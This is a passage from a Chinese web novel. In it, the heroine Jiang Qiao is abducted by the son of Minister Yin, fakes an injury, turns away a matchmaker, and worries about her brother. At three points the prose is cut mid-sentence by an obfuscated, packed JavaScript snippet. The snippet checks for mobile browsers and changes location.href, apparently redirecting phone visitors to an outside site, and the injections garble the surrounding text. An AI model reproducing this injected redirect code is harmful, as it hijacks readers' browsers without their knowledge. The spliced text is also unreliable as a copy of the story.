江乔小小一个，轻易就藏在了姝娘身后，掀起眼，瞧着四周，找着适合的人，或趁手的物件。 “有人来了！” 不知是谁，先喊出声。 还是傻人有傻福。 姝娘的几声嚷嚷，不止唤来了凑热闹的路人，还真就叫来了巡街的捕役。 见这群佩刀的捕役过来，无赖们狠狠咬了牙，又往那书生身上重重踢了几脚，就做鸟雀状散开了。 捕役见惯了这类事，也不继续追。 先是问了姝娘几句话，又转去问那书生的话，简单知道来龙去脉，本子上记两笔，这件事就算了结了。 “走吧，我们回家去。”姝娘一手挎着篮子，一手牵过江乔。 江乔望那巷子里头，轻轻瞟去一眼，跟上了步伐，“好。” 回去的路上，姝娘再次念叨：“像这样的事，你千万不要上去凑热闹，这些流氓可不知道分寸，容易伤了自己！” 江乔匪夷所思。 姝娘浑然不觉，继续牵着她往前走，“幸亏捕役们就在附近……” 江乔压低声音：“所以，你知道他们有问题吗？” 姝娘回头，惊讶，“什么？” 她果然不知道。 江乔耐着性子，解释。 姝娘愣住，过了片刻，很纠结很犹豫似的，挤出了一句话，像是说服自己，“那也不能见死不救……” 又看向了江乔，认认真真，“不过，小姐，你还是不能做这样的危险事。” 江乔拳头一紧，微笑，“我们回家去吧。” 二人循着来时的路，往回走。 还差一个拐角的时候，江乔忽的拽住了姝娘的衣角。 姝娘踉跄了两步，站稳后，一脸不解：“怎么了？” 江乔拉着她的衣服，二人一起往后退了两步，藏在墙根处。 “有人。”她言简意赅。 姝娘顿时紧张。 江乔看了眼二人握在一处的手，没说什么，再次探出身，小心翼翼地望。 方才是一眼扫过后模糊的一团影子，这次，她看清楚了。 是七个人，正堵在他们家门口。 这处巷子里面的院落都是独立的，每户之间隔了一定的距离。 没有看岔眼，心存侥幸的可能。 因此，这些人就是盯上了江家，并等着她们回来。 姝娘小声问：“小姐，你看清了吗？是谁？” 江乔凝视片刻，摇摇头。 这七人的衣着都是干净整齐的，瞧布料是同种材质，手上都握着一根长长的木棒，不像是方才所见的，杂乱无章的流氓……更像是，世家大族豢养的豪奴。 是谁盯上了她？ 江乔清楚，自己不算一个讨喜的人，之前有一个尹慧娘冒出来，暗处自然还有无数个“尹慧娘”等着她，但是，她来到长安城后一直深居浅出的，不至于早早就得罪了人。 江乔想着，姝娘有了动静。 她怕姝娘又要冲上前去，用力拽住了她，还探出手，想直接捂住她那张能够伸张正义的嘴。 不过，她的力气小，手也小。 人虽然拽住，没让她直接冲出去，但这嘴却没有完完全全遮住。 “小姐。”姝娘轻轻掰开她的手，笑了笑，“我知道你是担心我，但放心，我不会傻傻站出去的，这儿人少，哪怕事情闹大了，捕役也赶不过来，我不会做这种蠢事。” 江乔顿了顿，不自然地说，“行。” 她站起身，拉着姝娘往回走，“先离开，不要和他们正面撞上。” 姝娘：“嗯嗯。” 江乔继续，“也不能走太远……再过一会儿，兄长该回来了……” 兄长必然是能发现端倪的，但她不免要担心，在家附近等待，也好提前发现他的踪迹，然后提醒他。 到时，二人可再商量对策。 江乔带着姝娘，一同蹑手蹑脚往外走。 姝娘又出声：“小姐，我知道这些人是谁。” 江乔脚步一滞，无数的话到了唇边，又被她生生地咽了回去，只留下两个干瘪的字，“是谁？” 姝娘是通过那些人的着装打扮认出了他们。 长安城的高门大户，都会为丫鬟小厮专门裁制四季常服。 更为彰显独一无二的尊贵，会在定制的衣物上，做出每家每户独特的设计。 而这群人，正是来自尹相府中。 江乔：“尹相？” 姝娘：“嗯，尹相。” 江乔深吸了一口气。 江潮生正是在尹相手下谋事。 所以，是出了何事，才需要尹相府中的男仆持棍而来？ 江乔缓缓转过身。 她本想着，多一事不如少一事，小事躲躲过去就好。 但，这件事涉及了兄长，一切都不一样了。 江乔拉着姝娘躲在一处进可攻退可逃的拐角。 她脚上那双小巧的布鞋沾了街上的黄泥，早脏了，但她还在鞋底来来回回碾着一颗石子。 姝娘几次想开口，但因瞧见了她这幅焦躁模样，几次都没成功开口。 “姝娘，你还知道什么？”江乔再一次问。 姝娘唇张张合合，说来说去，却还是那些旧事。 左相和右相的不对付，江潮生的能耐…… 她是个不值一提的丫鬟，又能知道什么要紧事呢？ 江乔明白，自己是逼问不出什么东西来了，扭过头去，继续反复磨着那颗石子。 意外，正是这时候出现的。 一个穿着绮罗绸缎的公子哥，顺着墙根，偷偷摸摸走了过来。 可她们二人也是偷偷摸摸藏的。 两方都小心谨慎，像是做着贼，这正面一撞上，贼碰了贼，都吓了一大跳。 姝娘是率先反映过来的，举起手上的竹篮子，就砸了过去。 米啊肉啊，还有那盒胭脂，像是一场小型的山体滑坡，瞬间冲得这公子哥“噗通”一声，重重倒在了墙角。 “小姐！小心——” 姝娘站在江乔身前，母鸡护崽似的，护着她。 江乔看了姝娘一眼，暗道一声不好。 果不其然，那群家丁闻声而至了。 “大少爷——” “抓住她们俩个。” “小姐——” 顿时乱成一团。 乱中有序。 待到二人被抓到另外一处院子里头后，姝娘不断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526453|186317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道着歉。 “是我的错，我又冲动了……本来我们不会被发现的。” “没关系，不是你的问题。” 江乔坐直身，扬着手臂，摸了摸她的脑袋，半是真心地道，而另外半颗心在不紧不慢的，从头到尾地将细碎的点连成线，还原着这一场阴谋。 还差最后一块碎片，她就能明确了。 这时，门被打开。 是先前见到那位公子哥，他扶着脑袋，又冷又狠地扫过屋内二人，可这是一双狗狗似的大眼，再装模作样地扮凶扮狠，也还是带着水润的光泽。 “哼。” 他重重从鼻尖哼出一口气。 尹家家丁们显然还记得，他刚刚被“偷袭”一事，想留下来，护着他。 “出去出去！”他连摆手。 那几个家丁面面相觑，离开时，不忘带上门。 他蹲下身，先是看了看江乔，再是看了看姝娘，慢条斯理问，“你们谁是江白的妹妹？” 姝娘一激动，又要起身。 江乔先一步拽住她，冷静道，“是我。” “你说是你——” 江乔打断他，“你可以不信。” 少年上下打量她，气势弱了一截。 “你想做什么？”江乔问。 少年指着自己额头上的一块红肿——这是刚才被姝娘用胭脂罐子砸的，恶狠狠道，“你说呢？” 江乔淡淡：“谁知道呢？” 他被堵得说不出话来，但又不肯败下阵。 门又被打开，家丁问：“大少爷，你要出来透透气吗？” 江乔抬起眼。 少年高声，“我要拷打！” 好气势！ 家丁们立刻附和声，再把门关上。 他们不够体贴主子，而主子自己也忘了。 可这是一间寻常屋子，并无可供拷打的物件。 于是，他在屋子里头又转了几圈，一下子站着，一下子又拉过太师椅坐下，不像是绑人的，反而像是被绑的。 最后，他像是想起来了，大可以抽一个巴掌过去，也能逞英雄。 他站在二女面前，扬起手，犹豫该什么时机落下去时，江乔抬起头，“你是尹骏。” “你从何得知的！” 他下意识答，后知后觉，这话是直接承认了身份后，面色一阵青一阵白。 姝娘狠狠剜了他一眼，高声：“你还要打人吗？” 大抵是知道，再待下去，他这位尹家大少爷只有继续吃亏的份，在抛下一句无所谓有，无所谓无的狠话后，他终于离开了屋子。 为了不完全像是落荒而逃，在关上门后，还特意拔高声音，“不准给她们饭吃！” 姝娘气狠了，“真不知是哪儿冒出来的家伙，当真可恶！” 她能说出这话，是已经不怕了。 江乔则是天生多了一点胆子的人，半眯着眼，道，“他是尹相的儿子。” 姝娘震惊后，恍然大悟。 尹相这位独子，是长安城内有名的酒囊饭袋，不通文墨，不善来往，虽没做过什么出格的坏事，但也未曾做过一件与他人有益的好事，算是一个无用的笨人。 他也是尹相这精明有为的半生中，唯一的败笔。 怪不得就连这样一场以多欺少的绑架案，也弄得漏洞百出。 纵然是姝娘这样的好脾气，也骂了一声，“一群糊涂鬼，不知在想什么！我们可没有得罪他。” 是啊，她和姝娘，又怎么会得罪这位尹大少爷呢？ 他是冲着兄长来的。 江乔冷笑一声。 吃醋暗斗，可不只是女子之间的把戏。 有时，男子的嫉妒心思，更为卑鄙、恶劣。 “走。” “去哪？” “出去。” 姝娘跟着起身，很是意外。 “他想拿我对付兄长……”江乔冷笑一声，“算是他瞎了眼。” 看着江乔娇小的背影，姝娘心里泛起一阵不安，无缘无故地冒出一句话，“他是丞相的儿子。” 江乔意外回头，“我知道。” 可丞相都会倒台，何况是丞相的儿子？ 又望向那扇高处的支摘窗，她笑了笑，“姝娘，你在想什么呢？他那么大一只，我又没什么力气，不会以卵击石的。” 在江乔的要求下，姝娘站在了太师椅上，又小心翼翼背着江乔。 “我踩上去了。” “嗯……” 江乔双手扒着突出来的风栏，稳稳当当地抬起脚，踩在了姝娘的肩上，身子拔高了几寸，透过窗子，她能瞧见外头的看守的几人。 都在正门处。 大抵是都没想到，她会扒窗翻出去。 这样的事，还是太危险，姝娘忍不住劝，“小姐，你还是下来吧。” 江乔没吱声。 姝娘更慌。 “小姐？小姐！” 不知是叫了几声后，上头又传来江乔那轻轻细细的小嗓音。 “姝娘，我要下来了。” 姝娘大大松了一口气，刚伸出手，要去扶她，可下一息，江乔就重重摔了下来。 “小姐！小姐！” 姝娘连忙从太师椅下来。 江乔侧身倒在地上，身子蜷缩成小小一团，双眼大大睁着，却有冷汗从额间落下，同时有奶猫似的呻吟声从嘴角溢出。 姝娘慌得手忙脚乱，想扶她，又不敢扶她，泪都要落下时，那扇门又被打开了。 这次走近来的，有好几人。 “公子……” 姝娘当真是见到了亲人、救星，泪簌簌落下。 8. 陪伴 “江公子……这……” 跟着江潮生一起来的，是尹相真正的心腹尹管事，他看清眼前景象后，恨铁不成钢地望了尹骏一眼。 这件事，是早早就暴露的。 尹骏身边的小厮中，有着其父派来的探子，负责监看他的一举一动。 今日一早，尹骏说出要找人“教训”江潮生一顿后，那小厮就将此事告知了尹管事。 可不知是该夸还是该骂，他下手竟如此快，无声无息的，就“办”成了事。 “江公子，不如先送江小姐去府上？府中的大夫……” 江潮生动作小心地将江乔抱在怀中，慢慢捋开黏在她额上的发，声却是冷淡的，“不必了。” 尹管事还想补救：“令妹……” “还请管事将此事原原本本告知尹相。”江潮生直接道。 若告知尹相，便是要将事情闹大，于双方都没有好处。 “少爷。”尹管事有了打算，侧过身，露出身后的尹骏，拿出一副公事公办的态度，“君子之过也，如日月之食焉。” 怕这位少爷听不懂，更直白说了一句，“大少爷，您做了错事，该赔礼道歉。” 尹骏抓狂，“我还什么都没做！” 尹管事弯着腰，默不作声。 躺在地上的江乔又发出了呻吟声，如泣如唤，也不断往兄长怀里钻着，好不可怜。 江潮生擦着她额间的冷汗，唇绷成了一条线。 “江公子……您……”尹管事戛然而止。 按理说，双方互给一个台阶，一同客客气气地粉饰太平是最好的出路。 江潮生不会不知道，但他一语不发。 也不算一语不发。 自进入这屋子后，他便一直小声唤着“滟滟”，声轻柔急切，是在安抚那地上的少女。 尹管事与江潮生共事已久，既了解他的能耐，也明白尹相对他的重视。 可再有能耐，再前途似锦，也比不上尹相独子的份量。 江潮生不会不知天高地厚。 作为尹相手下初出茅庐的新人，年纪又轻，他没少被刁难生事，但从前的事，江潮生都忍了下来。 可此情此景…… 出乎意料。 唯一的变量，是江乔在江潮生心中的份量。 寻常兄妹，有疏离如陌生人的，也有亲密如一体的。 显然，江家兄妹是后者。 权衡之后，尹管事再次道，“大少爷，今日事，我会告知大人。” 尹骏真要气红了眼，眸光如剑一阵阵往江潮生身上戳着。 他有苦难言，满心委屈，但最初提出带人围堵、殴打江潮生这一计划的人，也的的确确是他。 现在只伤了一个江乔，不是他的打算。 沉默的负隅顽抗片刻后，见尹管事态度依旧，又实在畏惧老爹，很是心不甘情不愿地服软了，“江公子……江小姐，我知错了，还请原谅。” 无人原谅他。 江潮生抱起了江乔：“请恕在下无礼，不再奉陪。” 尹管事赔笑，拉开尹骏，让出了道路。 在无人瞧得见的地方，江乔微微掀起了眼，她要的，自然不会是一句轻飘飘的道歉，但眼下，也不是能痛打落水狗的时机。 她再次闭上眼，安心地卧在兄长怀中。 回到家中，由街上请来的大夫确认过江乔是受了轻伤，只需静养几日后，姝娘就忧心忡忡地准备晚饭了。 期间，尹府又来人赔礼道歉，除了对这千年的山参动容了一瞬后，其余的人和物都被她铁面无私地拦截在了外头。 吃啥补啥。 姝娘熬了两碗稠稠的骨头粥，送到了江乔的房间里。 江潮生还坐在床榻边上，手上是捏了书籍，但视线始终落在江乔身上。 姝娘将两碗粥都放在了不远处的桌子上，轻声问：“小姐醒了吗?” 江潮生摇了摇头，又微笑看她，“辛苦了。” 姝娘连将脑袋摇成了拨浪鼓，“不辛苦不辛苦。” 见江潮生没有出去的念头，姝娘虽记挂着江乔，却还是主动退出了屋子。 或许是公子太聪慧了？ 姝娘怕和聪明人对视对话。 亥时，江乔转醒。 一眼就瞧见兄长，她又惊又喜。 再定眼一瞧，江潮生正阖眼浅睡，她止住了声。 近些年，随着江潮生长大成人，外出谋生，二人的日子逐渐稳定下来。 可与之相对的，便是难有朝夕相处的时刻。 从早到晚，你跟着我，我牵着你，形影不离，可这样的日子成了流水，一去不复返。 江乔几乎要痛恨岁月了。 但兄长，还是在她身边。 情谊绵绵能抵岁月悠悠。 不至于叫她忍无可忍。 江乔又下意识探出了手，描摹着他的眉眼，鼻，唇…… 兄长清瘦了些。 兄长是凉凉的。 只有她，能看见兄长的这副模样。 她窃窃地笑。 不知是笑声太响，还是动作太大，江潮生缓缓睁开了眼。 江乔眨眨眼，直直扑上去：“兄长——” 江潮生习以为常地扶着她的背，不叫她东倒西歪，再一闭一睁眼，意识到不是梦境，轻轻推开了江乔。 不等她反应，先问道，“好些了吗？” “什么？”江乔眸子亮亮的，又笑，“没什么。” 在当时，只是腿麻，后来则是顺理成章，闭上眼睡了过去。 江潮生凝视她。 江乔凑上前，“兄长……怎么了？” 她看得出他的情绪。 江潮生问：“为何要如此做？” 江乔不解，又笑，“兄长是担心我吗？我以为兄长瞧出来了。” 江潮生的确是压抑着怒气，很少有人有事能叫他动脾气了，但江乔每每都会成为例外。 “你不知道，这个尹骏当真是废物一个，就连使坏，都是扭扭捏捏。” 但这样怎么能行呢？ 一件事必要闹大，才能被重视。 她还在解释，有洋洋得意，也有不甘心。 “江乔。”江潮生尽可能平心静气。 她愣住，鲜少听见兄长这样唤她。 “你还记得吗？当初你我，是如何从宫变中幸存下来的？” 江潮生因身子缘故，从来只能轻声细语地讲话，此时也是，但江乔能听出这背后的严肃。 她抿唇，“是母妃带着宫人们，一同引开了追兵，我们才能藏在殿内，等到屠杀结束。” 这件事，兄长不止一次同她提过。 她明白江潮生为何要提出此事了。 “滟滟……你为何总是如此？”江潮生闭上了眼，薄薄的胸膛并无规律地起伏着，“倘若那时，屋内有一把匕首，你是否还要往身上割一刀？” 江乔：“兄长……我……” 她想狡辩。 其实她是远远看见了兄长和尹管事的身影，才作此决定的。 她是跳下来，不是跌下来。 那点高度，摔不死人的。 但这些话，只是狡辩。 江潮生在进屋一瞬，一眼，就知晓了江乔的心思。 这是一场以退为进的戏。 既是如此，她表现出来的委屈，疼痛，落在实处，都要大打折扣。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526454|186317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>随后的忧心，愤怒，是明知她有意如此，为了配合她也该如此，但全然真情实意的。 于他而言，从前的罗慧娘也好，今日的尹骏也罢，都是无关痛痒的存在。 江乔却是实实在在的，与他息息相关的。 江潮生忽的开始低咳，渐渐地，咳嗽声大了许多，像风吹过支离的破叶，而一双如水如雾的眼眸瞬间泛起了一圈红。 江乔慌张，一边连忙轻拍着他的后背，一边道歉，“兄长，你别生气，我知道错了。” 说着，她利索地翻身下床，从屋子的角落翻出了一壶未开封的酒。 来不及温了，就拿着手捂着。 也许还是冷的，江乔不敢等，三两下拆开了封口，就送到江潮生嘴边，喂他喝下去。 再冷的酒，入了肠，都变热了。 江潮生的双手缓缓有了温度，那一双眼眸还是带红含水的。 “兄长，你别为我动怒。” 江乔轻声又心虚， 兄长从前常说的。 他们的性命如草芥一般，并不宝贵。 但就算是这样的人生，也承载着无数死者的期许和关切。 为了那些死者，他们也该苟延残喘，卑劣的，肮脏的，不屈不挠地活下去。 道理她都明白。 只是，江乔有自己的一套歪理。 她并不觉得，那些死者到了阴间，还会盯着他们一举一动瞧。 活人的事，是做给活人看的。 他们活着，也是为了自己而活。 江乔心里如此想，嘴上还是老老实实道歉的。 “不许再有这样的心思，他们不值当。” “好。” “若再遇见了麻烦，不可莽撞！” “嗯嗯。” “你听进去了多少？” “都听见了！不会再为这种人浪费心力，伤害自己，这样的事是亲者痛，仇者快……凡事有兄长，只告诉兄长，兄长自会为我出头……” 江乔如数家珍。 等觉得差不多能翻过这一篇章的时，她试探地瞧了瞧江潮生，在他眼里见到熟悉的，无可奈何却纵容的神色后，江乔心安理得地躺在他的腿上。 “兄长，那个尹骏……是和你有仇？” 江潮生：“算是。” 因太清楚江乔的性子，江潮生也不打算瞒着了，而是将一段往事娓娓道来。 那是他上一次来长安城时发生的插曲。 为暗中商议绊倒左相一事，尹相在府上设宴，江潮生受邀参加。 既打着宴会的旗号，自然离不开品茗赏酒，吟诗作画等风雅事。 而才子佳人也是寻常人，同街上的裁缝瓦匠一般，也爱争个第一第二。 在作诗贺酒的赛事中，江潮生以一个名不见经传的外客身份，力压了作为东道主的尹骏及其狐朋狗友七八人，占尽风光。 该是自此，结下了梁子。 “兄长拿了魁首？”江乔手一顿，指尖还缠绕了兄长乌黑的发。 江潮生面白唇淡，处处都生了一副体弱样，唯独这一头发，是又黑又密，叫无数健康女郎都羡慕不已的。 “嗯。”江潮生云淡风轻应了此事，又问，“怎么了？” 江乔摇摇头，“兄长当日做了何诗？也说给我听听吧。” 江潮生缓缓吟诵。 她听得认真。 她不爱诗词歌赋。 所熟知的，只有江潮生所做那些。 这果然是一首不错的诗。 有典故，不卖弄，天马行空又引人深思。 她只是奇怪，兄长竟是主动出了风头。 而不是像从前般，守着他的中庸之道。 9. 求亲 江乔到长安城的百日，发生了一件大事。 家里来了媒人，是向她提亲的。 当日，江潮生忙于公务，并无回家。 江乔亲自接待。 媒人巧舌如簧，将男方夸得上天入地，说是世间难得一见的郎君。 倘若今日她错过了这段姻缘，余生都要活在悔恨之中。 江乔问：“为何瞧上了我？” 她的话，直白又坦荡，可绝不是一个寻常女儿家该问出口的。 媒人还是笑，心中却是看不上江乔的，只胡乱扯了两句好话。 江乔知道她的敷衍，也看见那藏在笑意下的不屑。 但这样的事，她是第一回见，难免好奇。 “所以，是半月前街上见过？但我不认识他。”江乔说着，一旁的姝娘还偷偷摸摸扯着她的袖子，想要提醒她。 媒人笑容渐僵，重复道，“江公子可在？这样的事，老婆子还是当面同令兄说吧。” “我不能知晓吗？”江乔疑惑。 媒人说不出话了。 她从事这一行已有数十年，上至官宦人家的大小姐，下至浣衣缝制的二嫁妇，形形色色的女子，她都接触过，唯独没有见过像江乔这般。 全然不知羞，更是不懂事。 幸好，这时门开了。 江潮生回到了家中。 媒人迎了上去。 说到后来，她已无心为江乔做媒，而是把心思打在了这位兄长上。 在她这双毒辣的眼中，江家兄妹二人都不是什么良配。 作为妹妹的江乔空有几分美貌，但全无胸襟和手腕，而以色侍人，只能走偏门子，当不了正儿八经的主母。 身为兄长的江潮生，容貌有，心智一流，听闻如今在尹相手下做事，仕途也坦荡。 唯一的不足，便是带了一个拖油瓶。 没有几家的女儿，愿意与这样一位挑剔无知的小姑子共处。 况且，丈夫还是个偏心眼，一味溺爱妹妹的。 媒人记着那丰厚的佣金，还在给那家公子说好话，“江公子，女儿家最是拖不得的，我同您说一句敞亮话，我老婆子撮合过的姻缘也有千百桩了，这家世、容貌、年岁都是要紧的，越拖……越难寻的一个好郎君。” “那位公子，可是家中独子，虽说容貌不是一等一的，但家底颇丰……” 江乔全无闺秀做派地靠在门边，眉头缓缓蹙起， 她本来很有耐心且愿意听这婆子话说八道的，可眼下，兄长来了，她只看得见兄长，只听得进兄长的话，就觉得这婆子很是碍眼。 她正要上前，袖子又被拉住。 转身，是姝娘的大眼。 “王娘子。”江潮生平声道，“小妹年幼，在下不舍。” 媒人确定了，这兄长就是个糊涂虫，妹妹也不遑多让，都无可救药。 她重重“哎呦”一声，甩着帕子就离开了。 待媒人走远，江潮生轻语：“麻烦了。” 姝娘后知后觉这是对她说话，快速收拾了桌上残余的茶水和糕点，捧到厨房里处理。 主屋内，只留了江乔和江潮生二人。 “没想到，我也会被提亲？”江乔乐呵呵的，把这件事当做了一个笑话，“兄长还说舍不得我，小心传出去被人笑。不过，那媒人也不好，算计都藏在眉梢眼角了，叫人看着就厌烦。” “嗯，且对方若真重视你的话，该亲自来提亲，而不是派一个媒人来。”江潮生道，“下次再有媒人上门，拒之门外就好。” 江乔觉得这话不中听，故作不满，“那兄长说舍不得我，是骗她的？” 江潮生含笑望她，“自然舍不得。” “就知道。”一边笑，江乔一边上前去，牵过他的手。 “滟滟……”江潮生笑中出现了无奈，想挣开。 她抓得更紧，理所当然。 换作平时，兄长就轻轻叹气，然后默许了她的亲近。 可今日…… 江乔看着兄长，一点一点，轻而有力的，将缠在一起的十指分开。 她抬头，不解。 江潮生问她，“滟滟，你考虑过自己的婚事吗？” “什么？”江乔脱口而出。 江潮生轻轻抚着她的发，指尖顺着脸颊滑过，那捋碎发也别在了耳后。 “大梁新法，女子十八不嫁，问责父母。” “且那媒人所言，也并不是全无道理。” “你我亲人已不在世，你的婚事，我自然要操心过问的。” 江乔缓慢摇着头，下意识要去抓兄长的手，这次是实实在在握住了，但心中的缺口却愈发大了，呼呼的，能透着凉风。 话语还清晰，她问，“一定要嫁人吗？” 其实不全然是因为大梁的新法条例。 这是当权者哄人的话术。 那双被长长羽睫遮掩的眸子闪过晦暗的，不明的光，江潮生唇边却能挂着哄孩子的笑，“男大当婚，女大当嫁，这是纲常伦理，也是人性本能，我若留你在我身边一辈子，你迟早会怨我。” “不会。”江乔果断，“我怎么会怨憎兄长？” 又一眨眼，想到方才的婆子，想起从前的许多人，迟疑地问，“兄长……是打算成家立业了吗？” “不是。” “是我……烦人了吗？” 江潮生柔声，“不会的，滟滟。” 江乔更不解，“兄长还在生我气？” “不是生气。” “那是什么？” “你我迟早要分别的。” 一阵突兀的静。 江潮生意识语气过于严肃后，目光柔和了几分，声中带着沙哑，“滟滟，我不能误你。总要为你考虑。” 有些事，没必要同她说那么明白。 他冷静又克制。 “为我考虑……兄长觉得，如此一来，是为我好吗？” 语气中，是真诚的不解。 “嗯。兄长唯独不会害你。”江潮生道，“滟滟，你不该耗在我身边，等嫁了人后，你会看到一个不同的世界。” “到那时，你会是旁人的妻子，会有另外一人，与你携手余生。” “所以？一定要嫁人……是吗？” 江乔一字一句问，像是第一次发现鸡蛋是母鸡下的，月亮无法同繁星一块出现般，许多独立的，熟悉的事物，被重新拼凑在了一处。 她发现，原来她是要嫁人的。 她也会成为谁的妻子。 而不只是，兄长的妹妹。 自有记忆以来，她就是和兄长形影不离的。 桥下的乞儿，街上的小贩，府中的老爷……所有认识的人，都说他们兄妹亲的不得了，简直像是一体的，就如左手和右手，天长地久地待在了一处。 原来，是可以少一只手的？ 是的，少一只手，是死不了人的。 她见过。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526455|186317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >江乔怔怔地想。 双目没了孩子气的光泽，只是虚无地落在半空中。 “滟滟……” 这样的话，于她而言，还是太早了吗？ 江潮生平静无波的心，泛起了些许的涩，可他遇见太多的生死，吃过许多苦，一点酸涩实在微不足道。 他轻轻将江乔带到怀中。 每每说着，男女授受不亲的，是他。 每每犯错，未能做好榜样的，也是他。 可除此之外，他不知，还有怎样的途经，能叫自己定心。 姝娘走进来时，瞧江乔一人坐在榻边，双手老老实实放在膝上，不笑不语，不动不闹，难得安静，她很是意外。 刚将小馄饨放在了一旁，听江乔问，“兄长呢？” “刚出门呢，尹府来人叫他了，说是有事。”姝娘放轻脚步，又拖了个凳子，坐在了她面前。 “怎么了？”姝娘轻声问。 江乔抿着唇，眼睛是红红的，鼻头也是红红的。 “发生了什么事呢？” 她在厨房时，听见了兄妹二人的争吵，可隔着一堵墙，实在听不清。 她也不好意思听清。 又道，“小姐……你若是心里不舒服，就同我说说吧，说出来，心里会好受一点。” “没事。”江乔嗓子也哑了。 怎么会没事呢？ 一看就不是没事的样子。 姝娘心里着急，江乔平日总是人小鬼大，敢闹敢笑敢闯祸的，此时此刻却是这幅模样，六神无主的。 怎能让她不着急。 姝娘想了一圈，也不知兄妹二人为了何事争吵。 她来这个家中不长也不短，但也看得明白，江公子对谁都是彬彬有礼，却冷冷淡淡的，唯独对上她这个妹妹，却是百般纵容。 “是……那媒婆的事？” 想来想去，也只有这一件事了。 江乔抽噎了两下，忽的握住了她的手。 姝娘反而被吓到了。 她定了定神，江乔微微仰着脑袋，正如其名，泪光滟滟。 “姝娘……你说，有什么法子，能叫我不嫁人吗？”她低声。 “嫁人，就要离开兄长了，我不想嫁人。” 姝娘听着，本就柔软的心肠愈发软了，她抱着江乔，像从前，养母抱着她一般。 事实上，在弟妹还未出生时，养父母待她也是极好的。 是后来，家里人太多，多了她的粮，就要饿着别人的，父母与儿女之间才开始有了亲疏。 但姝娘是个记恩不记仇的人。 哪怕最后，是被养父母亲手卖掉，离开家那晚，她还是结结实实哭了一场。 她想，自己是能与江乔感同身受的。 “我想想，我想想……”她哄着。 寻常良家的女儿，到了年岁，是必须出嫁的。 但若像她一般，身在贱籍的，则不受此番约束。 可这不是正儿八经的法子。 忽而，她灵光一闪，“小姐……或者说，你招婿呢？” “招婿入门，你便还是江家的小姐，不用离家了。” 姝娘想到了一个好法子，滔滔不绝，浑然没发现，怀中江乔缓慢蹙起的眉头。 招婿？ 这的确是她未想过的道路。 也不是全然不可行。 只是……江乔一想到有个男人，要唤她为妻。 她觉得恶心。 10. 恶霸 在姝娘的安抚下，江乔平复了心绪，不知何时，她被完完全全抱在了怀里。 不同江潮生，姝娘的怀抱是温暖柔软的，带着皂角的清香。 江乔又一次扬起脑袋，不得不承认，姝娘也是一个美人。 一个……难得一见的，迟钝的美人。 她的法子，是漏洞百出的。 她的心意，是真诚的。 姝娘可能没发觉。 但江乔的的确确被提醒了。 天无绝人之路，活人总不会被死规矩被套住。 江乔从不怕事。 姝娘注意到她的视线，问，“小馄饨还吃吗？” 是她做的夜宵，本打算给江乔垫肚子的。 可一人哭，一人只顾着安慰，都忘记了这碗鲜肉小馄饨。 “吃。”江乔点了点头。 只有吃饱了，才有力气盘算事。 姝娘笑了笑，“我给你去热一热。” 说着，她端起了那碗馄饨，到了厨房。 江乔跟着。 “待会用帕子浸了井水，敷敷眼，否则明日该肿了。”姝娘一边重新放了水，煮着小馄饨，一边说着。 江乔应了一声，蹲坐在灶台前。 姝娘：“别凑那么近，小心灰。” 江乔：“哦。” 她往后退了半步，继续蹲着，双手抱着腿，身子缩成了小小一团。 半张脸映着火光，眸子也染上了亮色。 她忽而问，“兄长呢？怎么还没回来？” 今日不是他值守。 姝娘回答，“该是在路上了吧？” 江乔低低地应了一声，“哦。” 姝娘重新盛了碗小馄饨，“有点坨了。” “没事。”江乔扒过碗，拿着木勺子，小口小口吃着。 姝娘坐在一旁，单手托腮，认真注视着江乔。 她觉得二人的关系比之前近了许多，满心沉甸甸的，有说不出的满足。 等江乔吃完了馄饨，姝娘打了井水，沾湿帕子，给她敷眼。 这时，外头起了敲门声。 她道，“我去看看。” 江乔点头。 打开门，是一个布衣打扮的男子，说是帮江潮生来取东西的，按着他的描述，姝娘把东西找到，交了出去。 又说不出的奇怪，姝娘在门口站了一会，看着那道陌生背影远走。 “怎么了？”江乔一手拿着帕子压眼睛，走到了院子里头。 姝娘将方才的事，告诉了她。 江乔放下手，问，“是什么东西？” “一本书。” “什么书？” 姝娘回忆，“就放在书房里，好像是公子前几天带回来的。” 江乔面色渐渐变得凝重。 姝娘也意识到了问题所在，“小姐……公子……” 他们租赁的这处院子不大，若是有外客上门，几乎是避无可避。 防止有外男贸贸然进入，唐突了她们二人，每每有忘记的东西，江潮生都会自己走一趟，若实在脱不开身，也是请相识的婆子跑一趟。 “小姐！”姝娘意识到自己闯了祸。 江乔快速看她一眼，想说什么，但还是没有说出口。 她快步走到书房中，简单翻过书桌。 新作的诗词，翻过的古籍，一份份往来的书信…… 